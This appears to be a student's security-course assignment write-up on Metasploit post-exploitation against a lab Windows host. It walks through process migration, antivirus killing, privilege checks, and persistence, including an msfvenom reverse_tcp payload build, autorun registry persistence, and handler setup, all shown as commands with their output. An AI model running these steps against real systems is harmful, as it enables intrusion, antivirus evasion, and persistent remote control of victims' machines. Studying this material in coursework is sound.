CMPT 489

Assignment 3

Marcelo Ollin Paco Zepeda
301180252

Table of Contents

Part 1: Process Mitigation

Task 1:

Using Meterpreter's command `ps` find a **suitable** process to migrate to. What process did you choose and why? What is the ID of this this process?

The process that I choose to migrate to was the **winlogon** process. The reason I chose winlogon is because the process is more reliable for maintaining the Meterpreter session. For example, if we migrated to the internet explorer process and the user sees that the application lags or doesn't function properly, he/she will restart the process. This jeopardizes our Meterpreter session.

The ID of the winlogon process is the following: **532**

Task 2:

Force to background the current Meterpreter sessions and find the **proper** post exploit to use for process migration. What exploit did you select?

After doing some research in Metasploit, the post exploit that I selected to migrate our Meterpreter session was the **post/windows/manage/migrate** exploit.

Task 3:

Perform the exploit and report the commands/options you used.

Here are the commands used to migrate our Meterpreter session to the desired process:

```
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/smb/ms08_067_netapi) > use post/windows/manage/migrate
msf5 post(windows/manage/migrate) > set SESSION 4
SESSION => 4
msf5 post(windows/manage/migrate) > set PID 532
PID => 532
msf5 post(windows/manage/migrate) > exploit

[*] Running module against ADMIN-2BDBD2BA8
[*] Current server process: svchost.exe (984)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 384
[+] Successfully migrated to process 384
[*] Post module execution completed
msf5 post(windows/manage/migrate) >
```

Part 2 Killing the Antivirus:

Task 4:

Select the proper exploit to kill the antivirus system of the target machine (if any). What exploit did you use?

The post exploit that I will use to kill the antivirus system on the target machine will be the **post/windows/manage/killav** exploit.

Task 5:

Report the commands/options you used in order to kill the antivirus.

```
msf5 post(windows/manage/migrate) > use post/windows/manage/killav
```

```
msf5 post(windows/manage/killav) > set SESSION 4
SESSION => 4
msf5 post(windows/manage/killav) > exploit

[*] No target processes were found.
[*] Post module execution completed
msf5 post(windows/manage/killav) >
```

Note: The target system does not have an antivirus system running

Part 3: Obtaining System Privilege

Task 6:

What is the Meterpreter command to check the privilege level of the current Meterpreter session?

The Meterpreter command to check the privilege level of the current Meterpreter session is the **getuid** command.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Task 7:

What is the proper exploit to escalate the privilege to system level? Please note that this exploit does not always work.

The proper post exploit to escalate the privilege to system level is the **post/windows/escalate/getsystem** exploit.

Task 8:

Perform the exploit and report the commands/options you used.

```
msf5 post(windows/escalate/getsystem) > use post/windows/escalate/getsystem
msf5 post(windows/escalate/getsystem) > set SESSION 4
SESSION => 4
msf5 post(windows/escalate/getsystem) > exploit

[+] This session already has SYSTEM privileges
[*] Post module execution completed
msf5 post(windows/escalate/getsystem) >
```

Note: The Meterpreter session that we acquired from the original exploit had system privileges already.

Part 4: Persistence

Task 9:

What is the **proper** post exploit to perform the persistence?

The proper post exploit to perform the persistence is **the post/windows/manage/persistence_exe** exploit.

Task 10:

Perform the exploit and report the commands/options you used.

Similarly to last weeks assignment, a payload was created using msfvenom:

```
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LPORT=4449 LHOST=10.0.0.16 -a x86 -e
x86/shikata_ga_nai -f exe --platform windows > hack.exe
```

Note: The hack.exe file was stored in the /var/www/html/ directory

Here are the next steps taken to persists on the target system with the generated payload are the following:

```
msf5 exploit(multi/handler) > use post/windows/manage/persistence_exe
msf5 post(windows/manage/persistence_exe) > set REXEPATH /var/www/html/hack.exe
REXEPATH => /var/www/html/hack.exe
msf5 post(windows/manage/persistence_exe) > set REXENAME hack.exe
REXENAME => hack.exe
msf5 post(windows/manage/persistence_exe) > set SESSION 4
SESSION => 4
msf5 post(windows/manage/persistence_exe) > set STARTUP SYSTEM
STARTUP => SYSTEM
msf5 post(windows/manage/persistence_exe) > exploit
[*] Running module against ADMIN-2BDBD2BA8
[*] Reading Payload from file /var/www/html/hack.exe
[+] Persistent Script written to C:\WINDOWS\TEMP\hack.exe
[*] Executing script C:\WINDOWS\TEMP\hack.exe
[+] Agent executed with PID 2040
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gmaiDMHnVkcD
[+] Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gmaiDMHnVkcD
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/ADMIN-
2BDBD2BA8_20191004.1802/ADMIN-2BDBD2BA8_20191004.1802.rc
[*] Post module execution completed
```

Task 11:

Confirm that a Meterpreter session is created when you login back to the Windows machine. Report the commands you used to setup the multi/handler module and a screenshot of the current Meterpreter session that has been opened.

Now that we have persistence set up, we have to set up the exploit/multi/handler exploit and reboot the target system to verify that persistence exploit was done correctly:

```
msf5 post(windows/manage/persistence_exe) > use exploit/multi/handler
msf5 post(multi/handler) > set LHOST 10.0.0.16
msf5 post(multi/handler) > set LPORT 4449
msf5 post(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.16:4449
[*] Sending stage (180291 bytes) to 10.0.0.17 ← Occurred after reboot
[*] Meterpreter session 9 opened (10.0.0.16:4449 -> 10.0.0.17:1025) at 2019-10-04
04:37:36 -0700

meterpreter >
```

Screenshot of another successful attempt after another reboot of the target system:

Task 12:

Using Meterpreter without using **any other exploit** show a different way to perform persistence on a target machine. Report the commands you used to do that.

Here is the command used in a Meterpreter session to obtain persistence in the target system:

```
meterpreter > run persistence -X -i 5 -p 4449 -r 10.0.0.16

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ADMIN-
2BDBD2BA8_20191004.4410/ADMIN-2BDBD2BA8_20191004.4410.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.0.0.16 LPORT=4449
[*] Persistent agent script is 99697 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\NrNXArM.vbs
[*] Executing script C:\WINDOWS\TEMP\NrNXArM.vbs
[+] Agent executed with PID 1480
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ECCzyuuYyxPF
[+] Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ECCzyuuYyxPF
meterpreter >
```